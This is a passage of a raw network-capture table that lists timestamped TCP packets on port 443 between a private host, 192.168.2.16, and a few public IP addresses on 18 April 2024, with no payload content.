Apr 18, 2024 23:05:42.189086914 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.189119101 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.189135075 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.189140081 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.189186096 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.189191103 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.197293997 CEST	443	49785	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.197339058 CEST	443	49785	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.197361946 CEST	443	49785	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.197386026 CEST	49785	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.197396994 CEST	443	49785	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.197407961 CEST	443	49785	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.197443008 CEST	49785	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.197531939 CEST	443	49785	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.197566986 CEST	49785	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.197576046 CEST	443	49785	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.197613955 CEST	443	49785	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.197658062 CEST	49785	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.198335886 CEST	49785	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.198348045 CEST	443	49785	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.228431940 CEST	49784	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.242316961 CEST	443	49786	184.25.164.138	192.168.2.16
Apr 18, 2024 23:05:42.242760897 CEST	49786	443	192.168.2.16	184.25.164.138
Apr 18, 2024 23:05:42.242777109 CEST	443	49786	184.25.164.138	192.168.2.16
Apr 18, 2024 23:05:42.243354082 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.243840933 CEST	443	49786	184.25.164.138	192.168.2.16
Apr 18, 2024 23:05:42.243906021 CEST	49786	443	192.168.2.16	184.25.164.138
Apr 18, 2024 23:05:42.245944023 CEST	49786	443	192.168.2.16	184.25.164.138
Apr 18, 2024 23:05:42.246012926 CEST	443	49786	184.25.164.138	192.168.2.16
Apr 18, 2024 23:05:42.246123075 CEST	49786	443	192.168.2.16	184.25.164.138
Apr 18, 2024 23:05:42.246129990 CEST	443	49786	184.25.164.138	192.168.2.16
Apr 18, 2024 23:05:42.291398048 CEST	49786	443	192.168.2.16	184.25.164.138
Apr 18, 2024 23:05:42.294296980 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.294487000 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.294518948 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.294537067 CEST	49784	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.294559002 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.294594049 CEST	49784	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.297250986 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.307415009 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.307483912 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.307512999 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.307547092 CEST	49784	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.307566881 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.307605028 CEST	49784	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.308965921 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.309020042 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.309036016 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.309484005 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.309509039 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.309520006 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.309525013 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.309557915 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.314995050 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.321753025 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.321815968 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.321841955 CEST	49784	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.321862936 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.321899891 CEST	49784	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.324956894 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.328656912 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.330996990 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.331033945 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.331062078 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.331069946 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.331115007 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.331221104 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.336421013 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.336469889 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.336488008 CEST	49784	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.336504936 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.336667061 CEST	49784	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.345290899 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.345377922 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.345401049 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.345499039 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.345523119 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.345537901 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.345542908 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.345577955 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.351572037 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.351764917 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.351790905 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.351810932 CEST	49784	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.351824045 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.351857901 CEST	49784	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.368132114 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.368288994 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.368311882 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.368391991 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.368408918 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.368451118 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.373359919 CEST	443	49786	184.25.164.138	192.168.2.16
Apr 18, 2024 23:05:42.373485088 CEST	443	49786	184.25.164.138	192.168.2.16
Apr 18, 2024 23:05:42.373548031 CEST	49786	443	192.168.2.16	184.25.164.138
Apr 18, 2024 23:05:42.374600887 CEST	49786	443	192.168.2.16	184.25.164.138
Apr 18, 2024 23:05:42.374615908 CEST	443	49786	184.25.164.138	192.168.2.16
Apr 18, 2024 23:05:42.394922972 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.399045944 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.399080992 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.399151087 CEST	49784	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.399173021 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.399226904 CEST	49784	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.405869961 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.409372091 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.409404039 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.409439087 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.409447908 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.409497023 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.409749985 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.409925938 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.409979105 CEST	49784	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.409989119 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.415836096 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.415905952 CEST	49784	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.415913105 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.420377016 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.420512915 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.420561075 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.420568943 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.422830105 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.422888994 CEST	49784	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.423069954 CEST	49784	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.423079014 CEST	443	49784	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.434597015 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.434669018 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.434676886 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.435643911 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.435697079 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.435702085 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.444008112 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.444073915 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.444082022 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.458864927 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.458930016 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.458976984 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.458987951 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.459000111 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.468311071 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.468389034 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.468413115 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.472464085 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.472536087 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.472558022 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.478663921 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.478730917 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.478754044 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.494663954 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.494779110 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.494797945 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.494822025 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.494916916 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.502487898 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.503006935 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.507731915 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.507847071 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.507874012 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.507953882 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.517956018 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.518030882 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.518116951 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.518155098 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.521677971 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.521764994 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.521816969 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.521887064 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.521905899 CEST	443	49783	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.521917105 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.521946907 CEST	49783	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.551047087 CEST	49787	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.551094055 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.551171064 CEST	49787	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.551409006 CEST	49787	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.551420927 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.570812941 CEST	49788	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.570857048 CEST	443	49788	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.570938110 CEST	49788	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.571171999 CEST	49788	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.571183920 CEST	443	49788	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.771173954 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.771498919 CEST	49787	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.771526098 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.771873951 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.772180080 CEST	49787	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.772238016 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.772315979 CEST	49787	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.789871931 CEST	443	49788	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.790131092 CEST	49788	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.790149927 CEST	443	49788	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.790502071 CEST	443	49788	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.790775061 CEST	49788	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.790833950 CEST	443	49788	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.790894985 CEST	49788	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:42.820127010 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:42.836114883 CEST	443	49788	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.278650045 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.278711081 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.278753042 CEST	49787	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.278775930 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.278826952 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.278827906 CEST	49787	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.278835058 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.278867006 CEST	49787	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.278872967 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.279045105 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.279074907 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.279081106 CEST	49787	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.279084921 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.279115915 CEST	49787	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.279337883 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.293982983 CEST	443	49788	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.294094086 CEST	443	49788	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.294240952 CEST	49788	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.294686079 CEST	49788	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.294704914 CEST	443	49788	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.321409941 CEST	49787	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.384991884 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.390185118 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.390223026 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.390255928 CEST	49787	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.390284061 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.390337944 CEST	49787	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.401190042 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.404572010 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.404604912 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.404624939 CEST	49787	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.404630899 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.404680967 CEST	49787	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.412425995 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.425611973 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.425683975 CEST	49787	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.425692081 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.425710917 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.425753117 CEST	49787	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.429195881 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.429332018 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.429434061 CEST	49787	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.429478884 CEST	49787	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.429497957 CEST	443	49787	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.432245016 CEST	49789	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:43.432281017 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:43.432394028 CEST	49789	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:43.432615042 CEST	49789	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:43.432627916 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:43.433983088 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.434014082 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.434077024 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.434457064 CEST	49791	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.434482098 CEST	443	49791	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.434530020 CEST	49791	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.434739113 CEST	49792	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.434781075 CEST	443	49792	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.434832096 CEST	49792	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.435250044 CEST	49793	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.435301065 CEST	443	49793	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.435347080 CEST	49793	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.435455084 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.435467958 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.435621023 CEST	49791	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.435637951 CEST	443	49791	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.435770988 CEST	49792	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.435787916 CEST	443	49792	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.436072111 CEST	49794	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.436106920 CEST	443	49794	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.436162949 CEST	49794	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.436212063 CEST	49793	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.436232090 CEST	443	49793	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.436372042 CEST	49794	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.436387062 CEST	443	49794	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.651580095 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:43.651659966 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.651900053 CEST	49789	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:43.651918888 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:43.652172089 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.652230024 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.652302980 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:43.652578115 CEST	49789	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:43.652652979 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:43.652667046 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.652740002 CEST	49789	443	192.168.2.16	104.21.20.67
Apr 18, 2024 23:05:43.652972937 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.653049946 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.653063059 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.654200077 CEST	443	49791	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.654413939 CEST	49791	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.654422998 CEST	443	49791	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.654696941 CEST	443	49792	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.654784918 CEST	443	49791	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.654939890 CEST	49792	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.654959917 CEST	443	49792	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.655256987 CEST	49791	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.655350924 CEST	443	49791	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.655437946 CEST	49791	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.655978918 CEST	443	49792	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.656040907 CEST	49792	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.656681061 CEST	49792	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.656760931 CEST	443	49792	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.656795025 CEST	49792	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.658330917 CEST	443	49794	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.658484936 CEST	443	49793	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.658509016 CEST	49794	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.658530951 CEST	443	49794	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.658631086 CEST	49793	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.658651114 CEST	443	49793	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.659400940 CEST	443	49794	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.659446955 CEST	49794	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.659723997 CEST	49794	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.659763098 CEST	443	49794	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.659846067 CEST	49794	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.659849882 CEST	443	49794	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.660161018 CEST	443	49793	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.660212994 CEST	49793	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.660562992 CEST	49793	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.660634995 CEST	443	49793	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.660715103 CEST	49793	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.660722971 CEST	443	49793	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.700114012 CEST	443	49790	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.700123072 CEST	443	49789	104.21.20.67	192.168.2.16
Apr 18, 2024 23:05:43.700124025 CEST	443	49791	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.702368021 CEST	49794	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.702369928 CEST	49793	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.702389956 CEST	49792	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.702409983 CEST	443	49792	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.702406883 CEST	49790	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.750386000 CEST	49792	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.914663076 CEST	443	49792	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.914693117 CEST	443	49792	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.914714098 CEST	443	49792	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.914757967 CEST	49792	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.914781094 CEST	443	49792	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.914796114 CEST	443	49792	172.67.191.217	192.168.2.16
Apr 18, 2024 23:05:43.914845943 CEST	49792	443	192.168.2.16	172.67.191.217
Apr 18, 2024 23:05:43.915641069 CEST	49792	443	192.168.2.16	172.67.191.217
